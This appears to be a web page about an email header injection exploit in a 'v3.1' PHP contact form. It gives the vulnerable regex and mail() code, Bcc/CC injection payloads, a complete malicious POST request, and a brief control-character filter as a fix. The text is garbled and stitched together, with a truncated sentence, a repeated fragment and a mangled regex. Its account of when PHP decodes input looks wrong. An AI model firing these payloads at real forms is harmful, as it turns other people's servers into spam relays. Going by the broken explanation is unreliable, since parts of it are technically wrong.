The v3.1 script typically uses a function like this:
function validate_email($email)
if (preg_match('/^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]2,$/', $email))
return true;
return false;
The Bypass: Attackers know that this regex allows newlines (%0a), carriage returns (%0d), and certain special characters inside the local part if URL-encoded. By submitting:
attacker@example.com%0aCC: victims@example.com
The regex sees attacker@example.com and validates. But after PHP urldecodes the input, the mailer sees:
attacker@example.com
CC: victims@example.com
An attacker does not need to bypass JavaScript. They can simply use curl, Burp Suite, or even a browser's developer console to POST raw data to form.php. php email form validation - v3.1 exploit
Example malicious POST request:
POST /contact/form.php HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded
name=Attacker&email=attacker%40evil.com%0D%0ABcc%3A%20thousands%40targets.com%0D%0A&message=Hello
URL-decoded payload for the email field:
attacker@evil.com\r\nBcc: thousands@targets.com\r\n
Running a vulnerable v3.1 form is not just a technical risk. Under GDPR, if your compromised form leaks customer emails, you face fines of up to €20 million or 4% of global turnover. Under the CAN-SPAM Act, spam relayed through your server makes you legally liable for each message.
if (preg_match('/[\x00-\x1F\x7F]/', $input))
http_response_code(400);
exit("Invalid characters");
Description:
Attackers inject newlines (\r\n) into form fields (e.g., email, name, subject) to add malicious SMTP headers. The v3
Example vulnerable code:
$to = "admin@example.com";
$subject = $_POST['subject'];
$headers = "From: " . $_POST['email'];
mail($to, $subject, "Message", $headers);
Exploit payload in email field:
attacker@fake.com\r\nBcc: spamlist@example.com\r\nCc: victims@example.com
Result:
Email is sent to many recipients, turning the form into an open spam relay. The Bypass: Attackers know that this regex allows